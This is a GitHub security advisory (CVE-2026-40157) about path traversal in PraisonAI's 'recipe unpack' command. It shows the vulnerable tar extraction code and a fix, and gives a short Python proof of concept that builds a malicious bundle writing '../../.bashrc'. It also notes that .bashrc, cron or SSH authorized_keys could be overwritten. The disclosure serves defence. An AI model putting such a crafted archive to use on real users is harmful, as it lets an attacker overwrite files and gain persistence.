GHSA-99G3-W8GR-X37C

Vulnerability from github – Published: 2026-04-10 19:27 – Updated: 2026-04-10 19:27
VLAI?
Summary
PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`
Details
Field Value
Severity Critical
Type Path traversal -- arbitrary file write via tar.extract() without member validation
Affected src/praisonai/praisonai/cli/features/recipe.py:1170-1172

Summary

cmd_unpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack.

Details

The vulnerable code is in cli/features/recipe.py:1170-1172:

for member in tar.getmembers():
    if member.name != "manifest.json":
        tar.extract(member, recipe_dir)

The only check is whether the member is manifest.json. The code never validates member names -- absolute paths, .. components, and symlinks all pass through. Python's tarfile.extract() resolves these relative to the destination, so a member named ../../.bashrc lands two directories above recipe_dir.

The codebase does contain a safe extraction function (_safe_extractall in recipe/registry.py:131-162) that rejects absolute paths, .. segments, and resolved paths outside the destination. It is used by the pull and publish paths, but cmd_unpack does not call it.

# recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack
def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
    dest = str(dest_dir.resolve())
    for member in tar.getmembers():
        if os.path.isabs(member.name):
            raise RegistryError(...)
        if ".." in member.name.split("/"):
            raise RegistryError(...)
        resolved = os.path.realpath(os.path.join(dest, member.name))
        if not resolved.startswith(dest + os.sep):
            raise RegistryError(...)
    tar.extractall(dest_dir)

PoC

Build a malicious bundle:

import tarfile, io, json

manifest = json.dumps({"name": "legit-recipe", "version": "1.0.0"}).encode()

with tarfile.open("malicious.praison", "w:gz") as tar:
    info = tarfile.TarInfo(name="manifest.json")
    info.size = len(manifest)
    tar.addfile(info, io.BytesIO(manifest))

    payload = b"export EVIL=1  # injected by malicious recipe\n"
    evil = tarfile.TarInfo(name="../../.bashrc")
    evil.size = len(payload)
    tar.addfile(evil, io.BytesIO(payload))

Trigger:

praisonai recipe unpack malicious.praison -o ./recipes
# Expected: files written only under ./recipes/legit-recipe/
# Actual:   .bashrc written two directories above the output dir

Impact

Path Traversal blocked?
praisonai recipe pull <name> Yes -- uses _safe_extractall
praisonai recipe publish <bundle> Yes -- uses _safe_extractall
praisonai recipe unpack <bundle> No -- raw tar.extract()

An attacker needs to get a victim to unpack a malicious .praison bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly.

Depending on filesystem permissions, an attacker can overwrite shell config files (.bashrc, .zshrc), cron entries, SSH authorized_keys, or project files in parent directories. The attacker controls both the path and the content of every written file.

Remediation

Replace the raw extraction loop with _safe_extractall:

# cli/features/recipe.py:1170-1172
# Before:
for member in tar.getmembers():
    if member.name != "manifest.json":
        tar.extract(member, recipe_dir)

# After:
from praisonai.recipe.registry import _safe_extractall
_safe_extractall(tar, recipe_dir)

Affected paths

  • src/praisonai/praisonai/cli/features/recipe.py:1170-1172 -- cmd_unpack extracts tar members without path validation
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.2"
            },
            {
              "fixed": "4.5.128"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40157"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:27:59Z",
    "nvd_published_at": "2026-04-10T17:17:13Z",
    "severity": "CRITICAL"
  },
  "details": "| Field | Value |\n|---|---|\n| Severity | Critical |\n| Type | Path traversal -- arbitrary file write via `tar.extract()` without member validation |\n| Affected | `src/praisonai/praisonai/cli/features/recipe.py:1170-1172` |\n\n## Summary\n\n`cmd_unpack` in the recipe CLI extracts `.praison` tar archives using raw `tar.extract()` without validating archive member paths. A `.praison` bundle containing `../../` entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim\u0027s filesystem when they run `praisonai recipe unpack`.\n\n## Details\n\nThe vulnerable code is in `cli/features/recipe.py:1170-1172`:\n\n```python\nfor member in tar.getmembers():\n    if member.name != \"manifest.json\":\n        tar.extract(member, recipe_dir)\n```\n\nThe only check is whether the member is `manifest.json`. The code never validates member names -- absolute paths, `..` components, and symlinks all pass through. Python\u0027s `tarfile.extract()` resolves these relative to the destination, so a member named `../../.bashrc` lands two directories above `recipe_dir`.\n\nThe codebase does contain a safe extraction function (`_safe_extractall` in `recipe/registry.py:131-162`) that rejects absolute paths, `..` segments, and resolved paths outside the destination. It is used by the `pull` and `publish` paths, but `cmd_unpack` does not call it.\n\n```python\n# recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -\u003e None:\n    dest = str(dest_dir.resolve())\n    for member in tar.getmembers():\n        if os.path.isabs(member.name):\n            raise RegistryError(...)\n        if \"..\" in member.name.split(\"/\"):\n            raise RegistryError(...)\n        resolved = os.path.realpath(os.path.join(dest, member.name))\n        if not resolved.startswith(dest + os.sep):\n            raise RegistryError(...)\n    tar.extractall(dest_dir)\n```\n\n## PoC\n\nBuild a malicious bundle:\n\n```python\nimport tarfile, io, json\n\nmanifest = json.dumps({\"name\": \"legit-recipe\", \"version\": \"1.0.0\"}).encode()\n\nwith tarfile.open(\"malicious.praison\", \"w:gz\") as tar:\n    info = tarfile.TarInfo(name=\"manifest.json\")\n    info.size = len(manifest)\n    tar.addfile(info, io.BytesIO(manifest))\n\n    payload = b\"export EVIL=1  # injected by malicious recipe\\n\"\n    evil = tarfile.TarInfo(name=\"../../.bashrc\")\n    evil.size = len(payload)\n    tar.addfile(evil, io.BytesIO(payload))\n```\n\nTrigger:\n\n```bash\npraisonai recipe unpack malicious.praison -o ./recipes\n# Expected: files written only under ./recipes/legit-recipe/\n# Actual:   .bashrc written two directories above the output dir\n```\n\n## Impact\n\n| Path | Traversal blocked? |\n|------|--------------------|\n| `praisonai recipe pull \u003cname\u003e` | Yes -- uses `_safe_extractall` |\n| `praisonai recipe publish \u003cbundle\u003e` | Yes -- uses `_safe_extractall` |\n| `praisonai recipe unpack \u003cbundle\u003e` | No -- raw `tar.extract()` |\n\nAn attacker needs to get a victim to unpack a malicious `.praison` bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly.\n\nDepending on filesystem permissions, an attacker can overwrite shell config files (`.bashrc`, `.zshrc`), cron entries, SSH `authorized_keys`, or project files in parent directories. The attacker controls both the path and the content of every written file.\n\n## Remediation\n\nReplace the raw extraction loop with `_safe_extractall`:\n\n```python\n# cli/features/recipe.py:1170-1172\n# Before:\nfor member in tar.getmembers():\n    if member.name != \"manifest.json\":\n        tar.extract(member, recipe_dir)\n\n# After:\nfrom praisonai.recipe.registry import _safe_extractall\n_safe_extractall(tar, recipe_dir)\n```\n\n### Affected paths\n\n- `src/praisonai/praisonai/cli/features/recipe.py:1170-1172` -- `cmd_unpack` extracts tar members without path validation",
  "id": "GHSA-99g3-w8gr-x37c",
  "modified": "2026-04-10T19:27:59Z",
  "published": "2026-04-10T19:27:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-99g3-w8gr-x37c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40157"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…